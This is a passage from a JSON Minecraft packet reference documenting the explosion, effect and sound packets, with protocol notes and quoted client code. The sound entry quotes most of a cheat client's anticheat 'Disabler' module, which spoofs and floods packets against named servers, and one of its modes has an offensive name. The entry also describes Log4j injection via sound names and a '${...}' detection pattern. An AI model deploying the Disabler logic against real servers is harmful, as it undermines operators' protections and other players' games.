       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/ExplosionReader.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.reflect.EquivalentConverter;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport com.comphenix.protocol.wrappers.BukkitConverters;\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport de.jpx3.intave.share.Motion;\nimport org.bukkit.util.Vector;\n\nimport java.util.Optional;\n\npublic final class ExplosionReader extends AbstractPacketReader {\n\tprivate final static boolean NEW_EXPLOSION = MinecraftVersions.VER1_21_3.atOrAbove();\n\tprivate final static EquivalentConverter<Vector> vectorConverter =\n\t\tNEW_EXPLOSION ? BukkitConverters.getVectorConverter() : null;\n\n\tpublic Motion motion() {\n\t\tif (NEW_EXPLOSION) {\n\t\t\tOptional<Vector> read = packet().getOptionals(vectorConverter).read(0);\n\t\t\tif (read.isPresent()) {\n\t\t\t\tVector vector = read.get();\n\t\t\t\treturn new Motion(vector.getX(), vector.getY(), vector.getZ());\n\t\t\t} else {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t} else {\n\t\t\tStructureModifier<Float> floats = packet().getFloat();\n\t\t\tdouble motionX = floats.readSafely(1);\n\t\t\tdouble motionY = floats.readSafely(2);\n\t\t\tdouble motionZ = floats.readSafely(3);\n\t\t\treturn new Motion(motionX, motionY, motionZ);\n\t\t}\n\t}\n\n\tpublic void setMotion(Motion motion) {\n\t\tif (NEW_EXPLOSION) {\n\t\t\tpacket().getOptionals(vectorConverter).write(0, Optional.of(new Vector(motion.motionX(), motion.motionY(), motion.motionZ())));\n\t\t} else {\n\t\t\tStructureModifier<Float> floats = packet().getFloat();\n\t\t\tfloats.writeSafely(1, (float) motion.motionX());\n\t\t\tfloats.writeSafely(2, (float) motion.motionY());\n\t\t\tfloats.writeSafely(3, (float) motion.motionZ());\n\t\t}\n\t}\n}\n// NOTE (AI): The reader hides the 1.21.3 protocol change (optional vector vs three floats) behind one Motion type.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/ExplosionReader.java",
       "variations": "NCP reads floats only; Intave supports both wire formats and can write the vector back, which NCP never does."
      }
     ]
    }
   },
   "wiki_notes": [
    "The packet is sent for explosions from creepers, TNT and ghast fireballs, carrying center, strength, affected-block records and a per-player knockback vector.",
    "MCP 1.8.9 S27PacketExplosion implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleExplosion; wire serde is readPacketData/writePacketData via readByte, readFloat, readInt.",
    "1.8.9 callers: WorldServer.newExplosion sends new S27PacketExplosion (line 1019): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldServer.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S27PacketExplosion/",
   "mcp_path": "net/minecraft/network/play/server/S27PacketExplosion.java",
   "group": "play-client",
   "logic_classes": [
    "WorldServer"
   ]
  },
  {
   "id": "S28PacketEffect",
   "hex": "0x28",
   "dec": 40,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Effect",
   "desc": "Plays a sound effect or particle effect at a position (without a named sound).",
   "tags": [
    "world",
    "effect",
    "particle"
   ],
   "fields": [
    {
     "name": "effectType",
     "type": "int",
     "desc": "Effect ID (1023=portal, 2004=smithingTable, etc.)"
    },
    {
     "name": "pos",
     "type": "BlockPos",
     "desc": "Effect position"
    },
    {
     "name": "data",
     "type": "int",
     "desc": "Effect-specific data"
    },
    {
     "name": "disableRelativeVolume",
     "type": "boolean",
     "desc": "If true, plays at full volume regardless of position"
    }
   ],
   "encoding": [
    [
     "Effect ID",
     "int",
     ""
    ],
    [
     "Position",
     "BlockPos (long)",
     ""
    ],
    [
     "Data",
     "int",
     ""
    ],
    [
     "Disable Volume",
     "bool",
     "Supress volume reduction"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEffect()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Effect IDs: 1000-1023 (sound events), 1500-2004 (particle events). Unlike S29 (named sound via resource location), S28 uses numeric IDs.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S28 is the numeric sound/particle effect packet: an int effect type, a BlockPos, an int data value, and a boolean that forces server-wide volume. Effect IDs are split into ranges: 1000-1023 for sound events (anvil, click, door) and 1500-2004 for particle/block events (smoke, portal, beacon, chest open particle). WorldManager sends it either to players near the position (64-block radius, volume-attenuated) or to every player when the server-wide flag is set (corpus lines 82/86)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEffect branches on the server-wide flag: isSoundServerwide routes to world.func_175669_a (global sound), otherwise world.playAuxSFX(type, pos, data), which maps the numeric ID to a sound or particle burst and plays it with position-based volume. The data int is effect-specific (block ID for break particles, pitch for sounds). There is no client feedback path; the packet is fire-and-forget."
     },
     {
      "h": "Why clients touch it",
      "p": "Zero module hits in the 8-client corpus; the only non-vanilla reference is Rise 6.x's script NetworkAPI registration. The packet metadata mentions ESP tracking record players and particles, but no module in these 8 clients implements it. The reason is redundancy: effect sounds and particles are transient and position-derived, and anything a module could learn (a chest opening nearby, a beacon activating) is already visible through block state or S24."
     },
     {
      "h": "Exploit surface",
      "p": "The exploitable direction is server to client: a malicious server can spam S28 with high-volume sound IDs or particle-heavy IDs to annoy or degrade the client (the classic record-spam or smoke-spam lag nuisance). The client applies each effect without rate limiting, which is why crash-patch modules bound effect rates. No corpus module does this for S28; Tenacity's AntiExploit covers the particle flood via S2APacketParticles instead, which is the named-particle equivalent."
     }
    ],
    "overview": "The numeric sound/particle effect packet with a server-wide volume flag. Zero modules in the 8 clients consume it; the only non-vanilla reference is Rise 6.x's scripting API registration. Transient, position-derived and fire-and-forget, it carries nothing a module needs that block state does not already provide.",
    "server_handling": "WorldManager.func_180439_a sends S28 to players within 64 blocks with serverWide=false; func_180440_b sends it to all players with serverWide=true (used for dimension-wide events like beacon activation or the wither spawn). The server never validates the effect ID or data against a whitelist, so any int in range goes through. No rate limit in vanilla.",
    "protocol_notes": "Wire format: int effect type, BlockPos long, int data, boolean serverWide. The effect type is a raw int, unlike S29PacketSoundEffect which carries a resource location; this is the 'numeric' counterpart. The boolean is a plain byte on the wire (writeBoolean/readBoolean). The data int is interpreted per effect ID, so the same int means block ID for break particles and pitch for sounds.",
    "anticheat_landscape": "Not monitored. Effects carry no player state, and the only abuse is nuisance flooding, which anti-cheats handle by rate-limiting inbound effect packets rather than flagging players. Client-side crash patches treat S28 and S2A as the same threat class (audio/particle floods), but none of the 8 clients ships that guard for S28 specifically.",
    "modules": [],
    "general_hooks": "PacketReceiveEvent is available on all clients; no module registers for S28 in the corpus.",
    "client_variations": "All 8 clients keep the vanilla handler. Rise 6.1.30/6.2.4 register S28 in the script NetworkAPI table only. Tenacity's AntiExploit limits the S2APacketParticles flood but not the numeric S28 path.",
    "related": [
     "S29PacketSoundEffect",
     "S2APacketParticles",
     "S27PacketExplosion"
    ],
    "anticheat": {
     "overview": "The numeric world-effect packet has zero real hits in the corpus. The ac-mined file for S28 is dominated by keyword noise: the grep term 'Effect' surfaced potion-effect code (PotionEffectType, hasPotionEffect, banEffect) across Frequency, Negativity, Grim, Hydro, FlopAC and others, but none of those files reference S28PacketEffect or PacketPlayOutWorldEvent. No anticheat processes the packet, which is consistent with its role: a fire-and-forget clientbound sound or particle trigger carrying no player claim.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The trailing boolean disables distance-based volume falloff so effects such as wither spawn, enderdragon death and end-portal opening play correctly, and record playback at one location overwrites any record already playing there.",
    "MCP 1.8.9 S28PacketEffect implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEffect; wire serde is readPacketData/writePacketData via readBlockPos, readBoolean, readInt.",
    "1.8.9 callers: WorldManager.playAuxSFX sends new S28PacketEffect (line 88): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/world/WorldManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S28PacketEffect/",
   "mcp_path": "net/minecraft/network/play/server/S28PacketEffect.java",
   "group": "play-client",
   "logic_classes": [
    "WorldManager"
   ]
  },
  {
   "id": "S29PacketSoundEffect",
   "hex": "0x29",
   "dec": 41,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Sound Effect",
   "desc": "Plays a named sound at a world position with volume and pitch.",
   "tags": [
    "sounds",
    "world"
   ],
   "fields": [
    {
     "name": "soundName",
     "type": "String",
     "desc": "Sound resource key (e.g. 'random.explode', 'mob.creeper.primed')"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Position × 8"
    },
    {
     "name": "volume",
     "type": "float",
     "desc": "Volume 0.0-1.0"
    },
    {
     "name": "pitch",
     "type": "byte",
     "desc": "Pitch 0-255, 63=normal"
    }
   ],
   "encoding": [
    [
     "Sound Name",
     "String",
     "Resource key"
    ],
    [
     "X",
     "Int",
     "x * 8"
    ],
    [
     "Y",
     "Int",
     "y * 8"
    ],
    [
     "Z",
     "Int",
     "z * 8"
    ],
    [
     "Volume",
     "float",
     "0.0-1.0"
    ],
    [
     "Pitch",
     "unsigned byte",
     "63 = normal"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSoundEffect()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Server-to-client broadcast of a named sound at a fixed-point position. The server computes a delivery radius of 16 blocks, scaled by volume when volume exceeds 1.0, and fans the packet out through ConfigurationManager.sendToAllNear. The client handler converts the x8 fixed-point ints back to doubles and hands the call to World.playSound. Because the sound name is an arbitrary server-controlled string, the field is both a gameplay input and a data-injection surface for anything downstream that logs or parses it."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSoundEffect does PacketThreadUtil.func_180031_a (main-thread marshalling) then World.playSound(name, x/8, y/8, z/8, volume, pitch/63, false). The pitch arrives as an unsigned byte with 63 meaning normal pitch; the client divides by 63.0F. Server side the packet is created by WorldManager.playSound and playSoundAtEntity, and by /playsound (CommandPlaySound), which converts double coordinates to the x8 int encoding. Netty reads the name with a 256-char cap via readStringFromBuffer(256)."
     },
     {
      "h": "Why clients touch it",
      "p": "Only two real handlers exist across the 8 clients, and neither is a sound-ESP. Rise 5.99's Disabler, in its HypixelSlime mode, cancels the mob.slime.big sound to strip the Hypixel double-jump slime indicator. Rise 6.1.30 and 6.2.4 route the packet through LoggerRCECheck, a security feature that matches the sound name against a ${...} pattern to catch Log4j RCE attempts (CVE-2021-44228): sound names are logged by the client logger, so a crafted name is an injection vector. No client in the corpus tracks sounds for ESP purposes."
     },
     {
      "h": "Exploit surface",
      "p": "The sound name string is the interesting field. It passes through String formatting and logger calls on both ends, which is exactly the Log4j RCE chain that LoggerRCECheck defends. Volume has no clamp on the wire, so a malicious server can send volume values far above 1.0 and inflate the client-side audio range beyond the 16-block visibility radius. The pitch byte is unsigned, so values above 127 encode negative pitches when interpreted as signed, a quirk modules rarely bother with."
     }
    ],
    "overview": "A pure world-effect broadcast: named sound, x8 fixed-point position, volume, pitch byte. The 8 clients barely touch it. The only module-grade hit is Rise 5.99's Disabler cancelling the Hypixel slime jump sound; Rise 6.x handles it as a Log4j RCE scan surface rather than as audio.",
    "server_handling": "WorldManager.playSound sends to all players within 16 blocks, or 16*volume when volume > 1.0F, on the same dimension. CommandPlaySound builds the packet from parsed coordinates (x*8, y*8, z*8) and clamps pitch to 0..255 before writing. The client handler marshals to the main thread, then plays the sound with pitch = raw byte / 63.0F. No server-side rate limit exists; sound spam is only bounded by the 256-char name cap and the per-packet cost.",
    "protocol_notes": "Encoding order: String name (max 256), int x*8, int y*8, int z*8, float volume, unsigned byte pitch. The y field is initialized to Integer.MAX_VALUE in the no-arg constructor as a sentinel for the client-side y-clamping fallback (field_149218_c). In 1.8.9 MCP this packet predates the generic Packet<T> signature, so it implements raw Packet and does a double dispatch through processPacket.",
    "anticheat_landscape": "Anti-cheats do not flag sound packets; they are cosmetic. The abuse surface is the name string, and the relevant defense is client-side: Rise's LoggerRCECheck pattern-matches ${...} in the name to block Log4j RCE payloads that would otherwise execute through the client's logging pipeline. Because the packet is clientbound and server-trusted, there is no bypass trade-off: a compromised server can always send it, so the check is a pure filter.",
    "modules": [
     {
      "name": "Disabler (HypixelSlime sound cancel)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Cancel the mob.slime.big sound on Hypixel so the double-jump slime indicator never plays.",
      "how_it_works": "In the HypixelSlime mode branch of the packet receive handler, every S29 is type-checked; if the sound name equals mob.slime.big the event is cancelled. The same mode also cancels SLIME-type S2APacketParticles and S1FPacketSetExperience, so the whole Hypixel double-jump visual cluster is stripped together.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Disabler.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport de.gerrygames.viarewind.utils.ChatUtil;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.motion.TeleportEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Fly;\nimport dev.rise.module.impl.movement.LongJump;\nimport dev.rise.module.impl.player.Scaffold;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.Setting;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.*;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n/**\n * This module is designed to disable an anticheat or some of its checks\n * in order to make bypassing easier/having extreme bypasses.\n */\n@ModuleInfo(name = \"Disabler\", description = \"Disables some servers AntiCheats\", category = Category.OTHER)\npublic final class Disabler extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final BooleanSetting hypixel = new BooleanSetting(\"Hypixel\", this, false);\n    private final BooleanSetting mineland = new BooleanSetting(\"Mineland\", this, false);\n    private final BooleanSetting mmcKeepSprint = new BooleanSetting(\"Minemenclub Keepsprint Check\", this, false);\n    private final BooleanSetting mmcReach = new BooleanSetting(\"Minemenclub Reach Semi\", this, false);\n    private final BooleanSetting hypixelSlime = new BooleanSetting(\"Hypixel Slime\", this, false);\n    private final BooleanSetting dynamicPvP = new BooleanSetting(\"Dynamic PvP\", this, false);\n    private final BooleanSetting ghostlyCombat = new BooleanSetting(\"Ghostly Combat\", this, false);\n    private final BooleanSetting ghostly = new BooleanSetting(\"Ghostly\", this, false);\n    private final BooleanSetting lunar = new BooleanSetting(\"Lunar\", this, false);\n    private final BooleanSetting position = new BooleanSetting(\"Position Edit\", this, false);\n    private final BooleanSetting vulcanCombat = new BooleanSetting(\"Vulcan Reach A\", this, false);\n    private final BooleanSetting verusCombat = new BooleanSetting(\"Verus Combat\", this, false);\n    private final BooleanSetting verus = new BooleanSetting(\"Verus\", this, false);\n    private final BooleanSetting blocksMC = new BooleanSetting(\"BlocksMC\", this, false);\n    private final BooleanSetting sentinel = new BooleanSetting(\"Sentinel\", this, false);\n    private final BooleanSetting shartemis = new BooleanSetting(\"Shartemis Movement\", this, false);\n\n    //Any disabler after this line will be hidden if this is true\n    private final BooleanSetting hideOldDisablers = new BooleanSetting(\"Hide Old Disablers\", this, true);\n\n    private final NoteSetting oldModeSettings = new NoteSetting(\"Old Mode Settings\", this);\n\n    private final BooleanSetting verusOld = new BooleanSetting(\"Verus Old\", this, false);\n    private final BooleanSetting spartan = new BooleanSetting(\"Spartan\", this, false);\n    private final BooleanSetting voidTp = new BooleanSetting(\"Void TP\", this, false);\n    private final BooleanSetting clip = new BooleanSetting(\"Clip\", this, false);\n    private final BooleanSetting tecnioRaper = new BooleanSetting(\"Tecnio AC Disabler\", this, false);\n    private final BooleanSetting convertMovingPackets = new BooleanSetting(\"Covert Moving Packets\", this, false);\n    private final BooleanSetting reverseConvertMovingPackets = new BooleanSetting(\"Reverse Covert Moving Packets\", this, false);\n    private final BooleanSetting funnyCraft = new BooleanSetting(\"Funcraft\", this, false);\n    private final BooleanSetting oxygen = new BooleanSetting(\"Oxygen\", this, false);\n\n    private final NoteSetting packetSettings = new NoteSetting(\"Packet Settings\", this);\n\n    private final BooleanSetting coc = new BooleanSetting(\"PacketInput\", this, false);\n    private final BooleanSetting c0f = new BooleanSetting(\"ConfirmTransaction\", this, false);\n    private final BooleanSetting c00 = new BooleanSetting(\"PacketKeepAlive\", this, false);\n    private final BooleanSetting c08 = new BooleanSetting(\"PacketPlayerBlockPlacement\", this, false);\n    private final BooleanSetting c13 = new BooleanSetting(\"PacketPlayerAbilities\", this, false);\n    private final BooleanSetting c16 = new BooleanSetting(\"PacketClientStatus\", this, false);\n    private final BooleanSetting c18 = new BooleanSetting(\"PacketSpectate\", this, false);\n    private final BooleanSetting c19 = new BooleanSetting(\"PacketResourcePacketStatus\", this, false);\n\n    private final ConcurrentLinkedQueue<Packet<?>> packetList = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> packetList2 = new ConcurrentLinkedQueue<>();\n    private final ConcurrentHashMap<Packet<?>, Long> packetHashMap = new ConcurrentHashMap<>();\n    private final ConcurrentLinkedQueue<Packet<?>> transactions = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> keepAlives = new ConcurrentLinkedQueue<>();\n\n    public static final ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    public static boolean spoofing;\n    private int ticksSinceTeleport;\n    private long currentDelay;\n    private final TimeUtil timer = new TimeUtil();\n\n    private long nextSend;\n    private boolean teleported;\n    private boolean exempt;\n    private float previousYaw, previousPitch;\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        if (event.getTarget() != null) {\n            if (ghostlyCombat.isEnabled()) {\n                final double distance = mc.thePlayer.getDistanceToEntity(event.getTarget()) - 0.5657;\n                if (distance > 2.9) {\n                    if (mc.thePlayer.canEntityBeSeen(event.getTarget()))\n                        PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(event.getTarget().posX, event.getTarget().posY, event.getTarget().posZ, false));\n                    else\n                        event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        boolean hideAllAfter = false;\n        for (final Setting setting : getSettings()) {\n            setting.hidden = hideAllAfter;\n\n            if (hideOldDisablers == setting && hideOldDisablers.isEnabled()) {\n                hideAllAfter = true;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled()) {\n            final ChatComponentText chatcomponenttext = new ChatComponentText(\"Rejoin\");\n            mc.getNetHandler().getNetworkManager().closeChannel(chatcomponenttext);\n        }\n\n        if (mmcReach.isEnabled()) {\n            Rise.INSTANCE.getNotificationManager().registerNotification(\"You need low ping for this disabler to not kick.\", NotificationType.WARNING);\n        }\n\n        transactions.clear();\n        keepAlives.clear();\n        teleported = false;\n        timer.reset();\n    }\n\n    @Override\n    protected void onDisable() {\n        packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList.clear();\n        spoofing = false;\n\n        packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList2.clear();\n\n        transactions.clear();\n        keepAlives.clear();\n\n        packetHashMap.clear();\n\n        mc.timer.timerSpeed = 1;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n            spoofing = true;\n            for (final PacketUtil.TimedPacket p : packets) {\n                if (System.currentTimeMillis() > p.getTime() + currentDelay) {\n                    PacketUtil.sendPacketWithoutEvent(p.getPacket());\n                    packets.remove(p);\n                    this.currentDelay = Math.round(MathUtil.getRandom(200,250));\n                }\n            }\n        }\n\n\n        if (verusOld.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(UUID.randomUUID()));\n        }\n\n        if (blocksMC.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 100 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n\n                teleported = true;\n            }\n\n            if (timer.hasReached(500L) && !transactions.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(transactions.poll());\n\n                timer.reset();\n            }\n\n            if (timer.hasReached(400L) && !keepAlives.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(keepAlives.poll());\n\n                timer.reset();\n            }\n        }\n\n        if (hypixelSlime.isEnabled() && mc.thePlayer.capabilities.allowFlying) {\n            if (PlayerUtil.isOnServer(\"Hypixel\")) {\n                final PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n                playerCapabilities.isFlying = true;\n                PacketUtil.sendPacket(new C13PacketPlayerAbilities(playerCapabilities));\n            } else\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.RIDING_JUMP));\n        }\n\n        if (vulcanCombat.isEnabled()) {\n            if (timer.hasReached((long) (5000 + (Math.random() * 1000)))) {\n                packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList2.clear();\n                timer.reset();\n            }\n        }\n\n        if (sentinel.isEnabled()) {\n            for (final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetHashMap.entrySet().iterator(); iterator.hasNext(); ) {\n                final Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n                if (entry.getValue() < System.currentTimeMillis()) {\n                    PacketUtil.sendPacket(entry.getKey());\n                    iterator.remove();\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled()) {\n            if (timer.hasReached((long) (500 + (Math.random() * 600)))) {\n                packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList.clear();\n                timer.reset();\n            }\n        }\n\n        if (oxygen.isEnabled() && mc.thePlayer.onGround) {\n            event.setY(event.getY() + 0.42F);\n            event.setGround(false);\n        }\n\n        if (voidTp.isEnabled() && mc.thePlayer.ticksExisted % 20 == 0)\n            event.setY(event.getY() - 20 - Math.random());\n\n        if (clip.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 20 == 0) {\n                event.setY(event.getY() - 0.42);\n                event.setGround(false);\n            }\n        }\n\n        if (coc.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(0.98F, 0.0F, false, false));\n        }\n\n        if (c08.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem()));\n        }\n\n        if (c13.isEnabled() || shartemis.isEnabled()) {\n            final C13PacketPlayerAbilities abilities = new C13PacketPlayerAbilities();\n\n            abilities.setAllowFlying(true);\n            abilities.setFlying(true);\n\n            PacketUtil.sendPacketWithoutEvent(abilities);\n        }\n\n        if (c16.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C16PacketClientStatus(C16PacketClientStatus.EnumState.PERFORM_RESPAWN));\n        }\n\n        if (c18.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(mc.thePlayer.getUniqueID()));\n        }\n\n        if (c19.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C19PacketResourcePackStatus(\"\", C19PacketResourcePackStatus.Action.ACCEPTED));\n        }\n\n        if (tecnioRaper.isEnabled()) {\n            for (int i = 0; i < 10; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        mc.thePlayer.posX, mc.thePlayer.posY, Double.MAX_VALUE, 0.0F, 0.0F, true\n                ));\n            }\n\n            for (int i = 0; i < 40; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        Double.MAX_VALUE, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0F, 0.0F, true\n                ));\n            }\n\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n\n            tecnioRaper.setEnabled(false);\n        }\n\n        if (funnyCraft.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 4 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(Float.MAX_VALUE, Float.MAX_VALUE, false, false));\n            }\n        }\n    }\n\n    @Override\n    public void onTeleportEvent(final TeleportEvent event) {\n        if (blocksMC.isEnabled()) {\n            if (teleported) {\n                event.setCancelled(true);\n            }\n\n            teleported = false;\n        }\n        if(hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")){\n            if (mc.thePlayer.ticksExisted < 100) {\n                event.setCancelled(true);\n                return;\n            }\n\n            this.ticksSinceTeleport = 0;\n        }\n\n//        if (mc.thePlayer.getDistance(event.getPosX(), event.getPosY(), event.getPosZ()) <= 9.5) {\n//            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(event.getPosX(), event.getPosY(), event.getPosZ(), event.getYaw(), event.getPitch(), false));\n//            event.setCancelled(true);\n//        }\n//        teleported = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.isIntegratedServerRunning()) return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (hypixel.isEnabled()) {\n            final Packet<?> packet = event.getPacket();\n\n            if (packet instanceof S08PacketPlayerPosLook) {\n                nextSend = 0;\n            }\n        }\n\n        if (hypixelSlime.isEnabled()) {\n            if (p instanceof S02PacketChat) {\n                final S02PacketChat chatMessage = (S02PacketChat) event.getPacket();\n                if (chatMessage.getType() == 2 && chatMessage.getChatComponent().getUnformattedText().contains(\"UNAVAILABLE\")) {\n                    chatMessage.chatComponent = new ChatComponentText(\"§aDOUBLE JUMP AVAILABLE§r\");\n                }\n            }\n\n            if (p instanceof S29PacketSoundEffect) {\n                final S29PacketSoundEffect packetSoundEffect = (S29PacketSoundEffect) event.getPacket();\n                if (packetSoundEffect.getSoundName().equals(\"mob.slime.big\")) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S2APacketParticles) {\n                final S2APacketParticles particle = (S2APacketParticles) event.getPacket();\n                if (particle.getParticleType() == EnumParticleTypes.SLIME) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S1FPacketSetExperience) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (p instanceof S08PacketPlayerPosLook && timer.hasReached(1000)) {\n                final S08PacketPlayerPosLook packet = (S08PacketPlayerPosLook) p;\n                if (mc.thePlayer.getDistanceSq(packet.x, packet.y, packet.z) <= 9.5) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false));\n                    event.setCancelled(true);\n                }\n                teleported = false;\n                timer.reset();\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer wrapper = (C03PacketPlayer) packet;\n\n                if (wrapper instanceof C03PacketPlayer.C06PacketPlayerPosLook && ticksSinceTeleport <= 50 && mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                    event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(wrapper.x + Double.MIN_NORMAL, wrapper.y, wrapper.z - Double.MIN_NORMAL, ((C03PacketPlayer.C06PacketPlayerPosLook) wrapper).isOnGround()));\n                }\n            }\n\n            ticksSinceTeleport++;\n            if 